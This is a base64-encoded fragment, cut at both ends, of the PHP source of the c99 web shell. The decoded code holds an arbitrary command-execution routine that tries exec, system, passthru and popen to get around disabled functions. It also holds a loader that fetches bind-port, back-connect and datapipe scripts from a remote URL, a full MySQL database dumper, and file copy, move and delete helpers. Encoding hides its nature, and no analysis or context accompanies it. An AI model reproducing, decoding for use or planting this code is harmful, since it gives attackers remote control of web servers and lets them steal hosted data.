iAiIEIiO30NCiAgcmV0dXJuICRzaXplOw0KIH0NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKQ0Kew0KZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpDQp7DQogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAkaCA9IG9wZW5kaXIoJGQpOw0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICBlbHNlIHskcmV0ID0gbWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7IGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQ0KICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiByZXR1cm4gVFJVRTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X29iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfY29weV9vYmooJGQsJHQpDQp7DQogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICR0ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTsNCiBpZiAoIWlzX2RpcihkaXJuYW1lKCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQ0KIGlmIChpc19kaXIoJGQpKQ0KIHsNCiAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIHJldHVybiBmc19jb3B5X2RpcigkZCwkdCk7DQogfQ0KIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHtyZXR1cm4gY29weSgkZCwkdCk7fQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9kaXIiKSkNCnsNCmZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KQ0Kew0KICRoID0gb3BlbmRpcigkZCk7DQogaWYgKCFpc19kaXIoJHQpKSB7bWtkaXIoJHQpO30NCiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkNCiB7DQogIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKQ0KICB7DQogICAkcmV0ID0gVFJVRTsNCiAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICBlbHNlIHtpZiAobWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykgYW5kIGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gRkFMU0U7fX0NCiAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcmV0dXJuIFRSVUU7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9vYmoiKSkNCnsNCmZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KQ0Kew0KICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogaWYgKGlzX2RpcigkZCkpDQogew0KICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX21vdmVfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkNCiB7DQogIGlmKGNvcHkoJGQsJHQpKSB7cmV0dXJuIHVubGluaygkZCk7fQ0KICBlbHNlIHt1bmxpbmsoJHQpOyByZXR1cm4gRkFMU0U7fQ0KIH0NCiBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3JtZGlyIikpDQp7DQpmdW5jdGlvbiBmc19ybWRpcigkZCkNCnsNCiAkaCA9IG9wZW5kaXIoJGQpOw0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgIGlmICghaXNfZGlyKCRkLiRvKSkge3VubGluaygkZC4kbyk7fQ0KICAgZWxzZSB7ZnNfcm1kaXIoJGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGlyKCRkLiRvKTt9DQogIH0NCiB9DQogY2xvc2VkaXIoJGgpOw0KIHJtZGlyKCRkKTsNCiByZXR1cm4gIWlzX2RpcigkZCk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkNCnsNCmZ1bmN0aW9uIGZzX3Jtb2JqKCRvKQ0Kew0KICRvID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsNCiBpZiAoaXNfZGlyKCRvKSkNCiB7DQogIGlmIChzdWJzdHIoJG8sLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskbyAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX3JtZGlyKCRvKTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRvKSkge3JldHVybiB1bmxpbmsoJG8pO30NCiBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c2hlbGxleGVjIikpDQp7DQpmdW5jdGlvbiBteXNoZWxsZXhlYygkY21kKQ0Kew0KIGdsb2JhbCAkZGlzYWJsZWZ1bmM7DQogJHJlc3VsdCA9ICIiOw0KIGlmICghZW1wdHkoJGNtZCkpDQogew0KICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIiwkZGlzYWJsZWZ1bmMpKSB7ZXhlYygkY21kLCRyZXN1bHQpOyAkcmVzdWx0ID0gam9pbigiXG4iLCRyZXN1bHQpO30NCiAgZWxzZWlmICgoJHJlc3VsdCA9IGAkY21kYCkgIT09IEZBTFNFKSB7fQ0KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJzeXN0ZW0iKSBhbmQgIWluX2FycmF5KCJzeXN0ZW0iLCRkaXNhYmxlZnVuYykpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHN5c3RlbSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQ0KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIpIGFuZCAhaW5fYXJyYXkoInBhc3N0aHJ1IiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQ0KICBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpDQogIHsNCiAgICRyZXN1bHQgPSAiIjsNCiAgIHdoaWxlKCFmZW9mKCRmcCkpIHskcmVzdWx0IC49IGZyZWFkKCRmcCwxMDI0KTt9DQogICBwY2xvc2UoJGZwKTsNCiAgfQ0KIH0NCiByZXR1cm4gJHJlc3VsdDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpIHtmdW5jdGlvbiB0YWJzb3J0KCRhLCRiKSB7Z2xvYmFsICR2OyByZXR1cm4gc3RybmF0Y21wKCRhWyR2XSwgJGJbJHZdKTt9fQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpDQp7DQogaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gImIiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gImMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gInAiO30NCiBlbHNlIHskdHlwZSA9ICI/Ijt9DQoNCiAkb3duZXJbInJlYWQiXSA9ICgkbW9kZSAmIDAwNDAwKT8iciI6Ii0iOw0KICRvd25lclsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKT8idyI6Ii0iOw0KICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7DQogJGdyb3VwWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDA0MCk/InIiOiItIjsNCiAkZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCk/InciOiItIjsNCiAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOw0KICR3b3JsZFsicmVhZCJdID0gKCRtb2RlICYgMDAwMDQpPyJyIjoiLSI7DQogJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpPyAidyI6Ii0iOw0KICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7DQoNCiBpZiAoJG1vZGUgJiAweDgwMCkgeyRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogaWYgKCRtb2RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQ0KIGlmICgkbW9kZSAmIDB4MjAwKSB7JHdvcmxkWyJleGVjdXRlIl0gPSAoJHdvcmxkWyJleGVjdXRlIl0gPT0gIngiKT8idCI6IlQiO30NCg0KIHJldHVybiAkdHlwZS5qb2luKCIiLCRvd25lcikuam9pbigiIiwkZ3JvdXApLmpvaW4oIiIsJHdvcmxkKTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgYW5kICFpbl9hcnJheSgicG9zaXhfZ2V0Z3JnaWQiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfa2lsbCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2tpbGwiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9raWxsKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKQ0Kew0KZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpDQp7DQogaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0ID0gInMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0ID0gImwiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0ID0gIi0iO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID0gImMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0ID0gInAiO30NCiBlbHNlIHskdCA9ICI/Ijt9DQogJG9bInIiXSA9ICgkbW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsNCiAkZ1siciJdID0gKCRtb2RlICYgMDAwNDApID4gMDsgJGdbInciXSA9ICgkbW9kZSAmIDAwMDIwKSA+IDA7ICRnWyJ4Il0gPSAoJG1vZGUgJiAwMDAxMCkgPiAwOw0KICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7DQogcmV0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlc29ydCIpKQ0Kew0KZnVuY3Rpb24gcGFyc2Vzb3J0KCRzb3J0KQ0Kew0KICRvbmUgPSBpbnR2YWwoJHNvcnQpOw0KICRzZWNvbmQgPSBzdWJzdHIoJHNvcnQsLTEpOw0KIGlmICgkc2Vjb25kICE9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQ0KIHJldHVybiBhcnJheSgkb25lLCRzZWNvbmQpOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXNfY29sb3IiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfcGVybXNfY29sb3IoJG8pDQp7DQogaWYgKCFpc19yZWFkYWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXJlZD4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCiBlbHNlaWYgKCFpc193cml0YWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXdoaXRlPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KIGVsc2Uge3JldHVybiAiPGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5Z2V0c291cmNlIikpDQp7DQpmdW5jdGlvbiBjOTlnZXRzb3VyY2UoJGZuKQ0Kew0KIGdsb2JhbCAkYzk5c2hfc291cmNlc3VybDsNCiAkYXJyYXkgPSBhcnJheSgNCiAgImM5OXNoX2JpbmRwb3J0LnBsIiA9PiAiYzk5c2hfYmluZHBvcnRfcGwudHh0IiwNCiAgImM5OXNoX2JpbmRwb3J0LmMiID0+ICJjOTlzaF9iaW5kcG9ydF9jLnR4dCIsDQogICJjOTlzaF9iYWNrY29ubi5wbCIgPT4gImM5OXNoX2JhY2tjb25uX3BsLnR4dCIsDQogICJjOTlzaF9iYWNrY29ubi5jIiA9PiAiYzk5c2hfYmFja2Nvbm5fYy50eHQiLA0KICAiYzk5c2hfZGF0YXBpcGUucGwiID0+ICJjOTlzaF9kYXRhcGlwZV9wbC50eHQiLA0KICAiYzk5c2hfZGF0YXBpcGUuYyIgPT4gImM5OXNoX2RhdGFwaXBlX2MudHh0IiwNCiApOw0KICRuYW1lID0gJGFycmF5WyRmbl07DQogaWYgKCRuYW1lKSB7cmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRjOTlzaF9zb3VyY2VzdXJsLiRuYW1lKTt9DQogZWxzZSB7cmV0dXJuIEZBTFNFO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpDQp7DQpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpDQp7DQogZ2xvYmFsICRzaHZlcjsNCiAkc29jayA9ICRzZXRbInNvY2siXTsNCiAkZGIgPSAkc2V0WyJkYiJdOw0KICRwcmludCA9ICRzZXRbInByaW50Il07DQogJG5sMmJyID0gJHNldFsibmwyYnIiXTsNCiAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOw0KICR0YWJzID0gJHNldFsidGFicyJdOw0KICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogJHJldCA9IGFycmF5KCk7DQogJHJldFsiZXJyIl0gPSBhcnJheSgpOw0KIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9DQogaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30NCiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9DQogaWYgKGVtcHR5KCRmaWxlKSkNCiB7DQogICRmaWxlID0gJHRtcGRpci4iZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJGRiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsNCiB9DQogaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQ0KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9DQogaWYgKHNpemVvZigkdGFicykgPT0gMCkNCiB7DQogIC8vIHJldHJpdmUgdGFibGVzLWxpc3QNCiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7DQogIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKSkgeyR0YWJzW10gPSAkcm93WzBdO319DQogfQ0KICRvdXQgPSAiIyBEdW1wZWQgYnkgQzk5bWFkU2hlbGwuU1FMIHYuICIuJHNodmVyLiINCiMgSG9tZSBwYWdlOiBodHRwOi8vc2VjdXJpdHlwcm9iZS5uZXQNCiMNCiMgSG9zdCBzZXR0aW5nczoNCiMgTXlTUUwgdmVyc2lvbjogKCIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIikgcnVubmluZyBvbiAiLmdldGVudigiU0VSVkVSX0FERFIiKS4iICgiLmdldGVudigiU0VSVkVSX05BTUUiKS4iKSIuIg0KIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIg0KIyBEQjogXCIiLiRkYi4iXCINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiI7DQogJGMgPSBjb3VudCgkb25seXRhYnMpOw0KIGZvcmVhY2goJHRhYnMgYXMgJHRhYikNCiB7DQogIGlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkNCiAgew0KICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30NCiAgIC8vIHJlY2lldmUgcXVlcnkgZm9yIGNyZWF0ZSB0YWJsZSBzdHJ1Y3R1cmUNCiAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYCIuJHRhYi4iYCIsICRzb2NrKTsNCiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7DQogICAgJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsNCiAgICAvLyByZWNpZXZlIHRhYmxlIHZhcmlhYmxlcw0KICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7DQogICAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkNCiAgICB7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpDQogICAgIHsNCiAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOw0KICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsNCiAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30NCiAgICAgICR2YWx1ZXMgPSBpbXBsb2RlKCInLCAnIiwgJHZhbHVlcyk7DQogICAgICAkc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7DQogICAgICAkb3V0IC49ICRzcWw7DQogICAgIH0NCiAgICB9DQogICB9DQogIH0NCiB9DQogJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOw0KIGlmICgkZmlsZSkNCiB7DQogICRmcCA9IGZvcGVuKCRmaWxlLCAidyIpOw0KICBpZiAoISRmcCkgeyRyZXRbImVyciJdW10gPSAyO30NCiAgZWxzZQ0KICB7DQogICBmd3JpdGUgKCRmcCwgJG91dCk7DQogICBmY2xvc2UgKCRmcCk7DQogIH0NCiB9DQogaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319DQogcmV0dXJuICRvdXQ7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfYnVpbGR3aGVyZSIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKQ0Kew0KIGlmICghaXNfYXJyYXkoJGFycmF5KSkgeyRhcnJheSA9IGFycmF5KCk7fQ0KICRyZXN1bHQgPSAiIjsNCiBmb3JlYWNoKCRhcnJheSBhcyAkaz0+JHYpDQogew0KICAkdmFsdWUgPSAiIjsNCiAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gJGZ1bmN0c1ska10uIigiO30NCiAgJHZhbHVlIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7DQogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9DQogICRyZXN1bHQgLj0gImAiLiRrLiJgID0gIi4kdmFsdWUuJHNlcDsNCiB9DQogJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7DQogcmV0dXJuICRyZXN1bHQ7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZmV0Y2hfYWxsIikpDQp7DQpmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKQ0Kew0KIGlmICgkc29jaykgeyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksJHNvY2spO30NCiBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9DQogJGFycmF5ID0gYXJyYXkoKTsNCiB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGFycmF5W10gPSAkcm93O30NCiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiByZXR1cm4gJGFycmF5Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3NtYXJ0ZXJyb3IiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHR5cGUsJHNvY2spDQp7DQogaWYgKCRzb2NrKSB7JGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spO30NCiBlbHNlIHskZXJyb3IgPSBteXNxbF9lcnJvcigpO30NCiAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7DQogcmV0dXJuICRlcnJvcjsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9mb3JtIikpDQp7DQpmdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCkNCnsNCiBnbG9iYWwgJHN1Ym1pdCwkc3FsX2FjdCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0Ow0KICRzcWxfcXVlcnkgPSB1cmxkZWNvZGUoJHNxbF9xdWVyeSk7DQogaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30NCiBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKQ0KIHsNCiAgZWNobyAiPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQ+PGZvcm0gbWV0aG9kPVBPU1Q+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1l